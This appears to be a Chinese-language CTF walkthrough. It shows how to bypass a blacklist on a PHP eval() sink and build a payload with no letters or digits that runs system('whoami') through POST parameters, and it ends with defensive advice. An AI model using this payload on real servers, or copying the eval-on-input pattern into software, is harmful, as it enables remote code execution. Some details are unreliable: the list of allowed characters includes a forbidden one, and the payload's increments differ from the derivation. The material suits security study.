PHP代码审计实战:绕过双重过滤的无字母数字RCE构造指南

在CTF竞赛和实际渗透测试中,我们经常会遇到各种代码过滤机制。今天要探讨的是一个典型但极具教学意义的案例——如何绕过 is_string() 类型检查和 preg_match() 字符黑名单的双重防御,最终实现无字母数字的远程代码执行(RCE)。

1. 理解题目与初始分析

首先让我们仔细阅读题目提供的代码:

<?php 
error_reporting(0); 
highlight_file(__FILE__); 
if (isset($_POST['code'])) { 
    $code = $_POST['code']; 
    if (strlen($code) <= 105){ 
        if (is_string($code)) { 
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){ 
                eval($code); 
            } else { 
                echo "Hacked!"; 
            } 
        } else { 
            echo "You need to pass in a string"; 
        } 
    } else { 
        echo "long?"; 
    } 
}

这段代码设置了四层防御:

  1. 长度限制(≤105字节)
  2. 类型检查( is_string()
  3. 字符黑名单过滤( preg_match()
  4. eval() 执行前的最终检查

我们的突破口在于同时满足:

  • 输入必须是字符串类型
  • 不能包含字母、数字和特殊符号
  • 最终能构造出有效的PHP代码

2. 可用字符分析与筛选

为了找出可用的字符,我们可以编写一个简单的筛选脚本:

<?php
for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",chr($i))){
        echo chr($i)." ";
    }
}

执行后会得到以下可用字符:

! $ ' ( ) + , . / : ; = [ ] _ 

这些字符将成为我们构造Payload的基础。特别值得注意的是:

  • _ :可用于变量名
  • [ ] :数组访问
  • . :字符串连接
  • + :数学运算或字符串转换
  • / :除法运算
  • $ :变量符号

3. PHP字符串自增特性解析

PHP有一个鲜为人知但非常强大的特性——字符串自增。与数字自增类似,字符串也可以使用 ++ 运算符进行"递增":

$_ = 'a';
$_++; // $_现在是'b'

$_ = 'z';
$_++; // $_现在是'aa'

这个特性在字母数字被过滤的情况下尤为有用。我们可以从空字符串或特殊字符开始,通过自增得到需要的字母。

4. 构造_POST变量的完整过程

我们需要构造 $_POST 变量来接收外部参数。以下是逐步构造的过程:

  1. 获取初始字符'N':

    $_=(_/_._)[_];
    
    • _/_._ 产生字符串"NAN"(Not A Number)
    • [_] 相当于 [0] ,因为 _ 是未定义常量,被转换为字符串"_",再转换为整数0
  2. 自增得到'O':

    $_++; // 现在$_是"O"
    
  3. 构造'PO':

    $__=$_.$_++; // $__="PO", $_变为"Q"
    
  4. 继续自增并拼接:

    $_++; // "R"
    $_++; // "S"
    $__=$__.$_; // "POS"
    $_++; // "T"
    $__=$__.$_; // "POST"
    
  5. 最终构造 $_POST

    $_=_.$__; // "_POST"
    

5. 完整Payload构造与参数传递

最终的RCE利用需要两个参数:

  • _ :要执行的函数名(如 system
  • __ :函数参数(如 whoami

完整Payload如下:

code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=whoami

分解说明:

  1. $$_[_] $_POST['_'] system
  2. $$_[__] $_POST['__'] whoami
  3. 组合起来就是 system('whoami')

6. PHP版本差异与调试技巧

在实际测试中,PHP版本差异会导致不同结果:

PHP版本 行为差异
5.3-5.6 字符串自增行为不一致,容易报错
7.0+ 稳定支持当前构造方法

调试建议:

  1. 使用 var_dump() 逐步检查变量值
  2. 在本地搭建与目标相同的PHP环境
  3. 分阶段测试,先验证小片段再组合

7. 防御建议与安全思考

虽然这种攻击手法巧妙,但防御也不复杂:

  • 避免直接使用 eval() 执行用户输入
  • 使用白名单而非黑名单进行过滤
  • 对特殊功能增加额外的认证机制
  • 定期更新PHP版本,了解语言特性变化

理解这些绕过技术不仅有助于CTF竞赛,更能提升实际开发中的安全意识。当你设计安全机制时,始终要考虑:"攻击者会如何绕过这个限制?"这种逆向思维是安全工程师的宝贵财富。

更多推荐